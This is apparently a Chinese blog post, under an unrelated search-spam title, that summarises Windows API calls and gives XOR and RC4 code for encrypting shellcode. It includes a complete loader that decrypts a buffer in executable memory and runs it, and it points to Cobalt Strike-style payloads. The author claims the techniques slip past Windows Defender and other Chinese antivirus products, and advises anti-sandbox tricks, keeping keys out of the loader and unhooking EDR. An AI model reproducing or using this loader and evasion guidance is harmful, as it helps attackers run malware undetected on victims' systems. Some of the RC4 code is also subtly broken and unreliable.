淘寶客推廣網(wǎng)站怎么做百度競價推廣自己可以做嗎
最近更新頻率明顯下降我懶,那么今天就來記錄一下我們的一些常用的API的整理以及ShellCode的加密。
1.WinAPI整理
問我為什么要整理? 就是用起來的時候要左翻右翻
? :: 煩死了
1.VirtualAlloc
VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
- 該API是LPVOID返回
- 其中的sizeof(buf)是你要申請的長度
- PAGE_EXECUTE_READWRITE這個是這塊內(nèi)存的屬性,你可以申請一個不完整的(沒那么容易被殺的,然后轉(zhuǎn)換)
2.Memcpy
memcpy(p,buf,sizeof(buf));
- 其中p是目的地址
- buf是源地址
- sizeof(buf)是源地址的長度
3.CreateThread
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)buffer, NULL, NULL, NULL);
- 第一個參數(shù)是安全屬性,傳入NULL默認是安全
- 第二個是默認堆棧大小,NULL是默認大小
- 第三個是指向線程執(zhí)行的函數(shù)指針(存在強轉(zhuǎn))
- 第四個是要傳遞給函數(shù)的參數(shù),NULL默認沒有
- 第五個是默認控制線程的創(chuàng)建方式,NULL表示沒有
- 最后一個是線程ID,NULL默認不需要返回ID
- 返回值就是HANDLE
4.VirtualProtect
VirtualProtect(p, length, PAGE_EXECUTE_READWRITE, NULL);
- 其中p是指向內(nèi)存空間的指針
- 第三個參數(shù)是內(nèi)存的屬性
5.WriteProcessMemory
WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);
- 第一個參數(shù)是原來的進程句柄
- 第二個參數(shù)就指定目標進程中要寫入數(shù)據(jù)的起始地址
- 然后第三個參數(shù)就是指向要寫入目標進程的數(shù)據(jù)的緩沖區(qū)的指針
- 第四個就是寫入的長度
6.WaitForSingleObject
WaitForSingleObject(handle, INFINITE)
- 第一個參數(shù)就是創(chuàng)建完進程的handle
- 第二個參數(shù)直接寫INFINET或者-1就好了
7.GetProcAddress
GetProcAddress(HDMDODULE,L"FUNCNAME")
- 第一個參數(shù)就是獲取到的dll的HMODULE
- 第二個參數(shù)就是你要找的函數(shù)名字
8.CreateFileW
CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- 第一個參數(shù)就是你要打開或者新建的文件(這樣寫的話就是默認exe同文件夾下面有cs.dll)
- 第二個參數(shù)就是屬性(一般不會用到ALL)
- 第六個參數(shù)就是你要選擇OPEN_EXISTING還是ALWAYS_CREATE
9.GetFileSize
GetFileSize(hFile, NULL)
這個很明顯就是獲取長度,這個無需多言
10.HeapAlloc
在堆上分配可讀可寫內(nèi)存(不可執(zhí)行!!!)
HeapAlloc(GetProcessHeap, HEAP_ZERO_MEMORY, length)
11.ReadFile
將文件內(nèi)容寫到緩沖區(qū)中
ReadFile(hFile, FileBuffer, length, &RealLength, NULL);
- 第一個參數(shù)是剛才的文件的句柄?
- 第二個是申請的內(nèi)存指針
- 第三個是內(nèi)存指針的長度
- 第四個是實際返回的長度(常用來判斷讀取到的文字)
2.ShellCode的加密
1.異或加密
這個就是可以說是ShellCode加密最簡單的一集了,下面就來個最簡單的加密代碼
異或加密其實就是將每一個字符都和一個key或者說一個數(shù)異或,這就形成了密文。
#include<iostream>
#include<Windows.h>
using namespace std;void encrypt(unsigned char *p , DWORD length,DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}
void decrypt(unsigned char* p, DWORD length, DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41";int main()
{encrypt(buf, sizeof(buf), 12345);decrypt(buf, sizeof(buf), 12345);return 0;
}
?如果你想解密的話也很好辦,直接再異或一次就好了(其實加密的代碼完全可以再用一次)
當然了,你還可以搞難度大一點的,隨機生成密鑰,不過一般都不會這樣操作,因為你隨機生成密鑰,總會有一方是無法操作的(或者說你把你的隨機生成的加密密鑰寫到解密算法里面,不過這樣感覺還不如直接傳密鑰)
2.RC4加密
這個加密還是用的比較多的,其實它的算法流程并沒有變,變得只是我們的Key!!!
RC4的加解密需要經(jīng)過兩個流程
- RC4init
- RC4Cipher
我們一步一步來操作,先是RC4init
我們一般都會定義一個初始化的全局數(shù)組S 然后我們會對這個S有以下的操作
void RC4_init(unsigned char *p,unsigned char*key ,DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i ;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;char temp = p[i];p[i] = p[j];p[j] = temp;}
}
然后就是我們的RC4Cipher了,至于這兩段代碼為什么(我也布吉島)
void RC4Cipher(unsigned char* p, char* file, unsigned char* key, DWORD length)
{int i = 0,j = 0;for (int k = 0; k< length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}
然后就是我們的完整代碼了
#include<iostream>
#include<Windows.h>
using namespace std;unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = { 0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}void print(unsigned char* p, DWORD length)
{for (int i = 0; i < length; i++) {printf("%02x ", p[i]);}cout << endl;
}
int main()
{HANDLE hFile = CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);DWORD length = GetFileSize(hFile, NULL);unsigned char* FileBuffer = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);DWORD RealLength = 0;if (ReadFile(hFile, FileBuffer, length, &RealLength, NULL)){cout << "Read File Successfully" << endl;}RC4_init(s, key, sizeof(key));RC4Cipher(s, FileBuffer, key, sizeof(key));return 0;
}
我們也可以對一個shellcode加密并且解密上線看看效果,其實這里就是再執(zhí)行這塊內(nèi)存之前,對他加了一次密(模仿提前加密好的ShellCode或者DLL),然后再對這塊內(nèi)存進行解密,并且執(zhí)行
#include<iostream>
#include<Windows.h>
using namespace std;/* length: 891 bytes */
unsigned char buf[] = ""unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = {0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));RC4_init(s, key, sizeof(key));RC4Cipher(s,(unsigned char * )p, key, sizeof(key));RC4_init(s, key, sizeof(key));RC4Cipher(s, (unsigned char*)p, key, sizeof(key));((void(*)())p)();return 0;
}
3.AES加密
這個目前是最好的一種shellcode加密方式,無論是對比起RC4(Defender會殺),UUDI,IPV4這些
AES是能過Defender的!!!!(就算你不分離的情況下,就算熵很大!!!)
這里我就不貼代碼了,但是我能給屏幕截圖,理由大家都懂(不想讓他這么快被殺)
然后就是來展示一下它的效果(這個我都沒做分離,熵值其實挺大的)
這也說明我們Windows Defender的查殺特點
- 沙箱,當你將一個文件放進虛擬機的時候,首先就去defender的沙箱跑,所以這個loader第一步就是抗沙箱(當然,這個和360的QVM比不了)
- 內(nèi)存掃描,當你進行危險操作dump lsass,注入shellcode的時候,defender就會對這塊內(nèi)存進行掃描,如果你是惡意的shellcode就會查殺(當然,這個和卡巴斯基也比不了)
除了用server的defender測試,還用了實體(我同學(xué))的環(huán)境,也是能用過的!!!!
火絨
電腦管家
當然了,還有像UUID,IPV4,IPV6這種的加密方式,但是都不如AES加密強大,當然你也可以用RSA,總之加密方法有很多,自行選擇。
當然,解密的密鑰是不推薦直接寫在loader里面,可以分離一個xml,txt,這樣的文件(這樣也有天然抗沙箱的作用),因為對于強的EDR會關(guān)注你的一些函數(shù),然后在去hook你的解密后的內(nèi)存,如果不做unhook等其他操作,就會被殺!?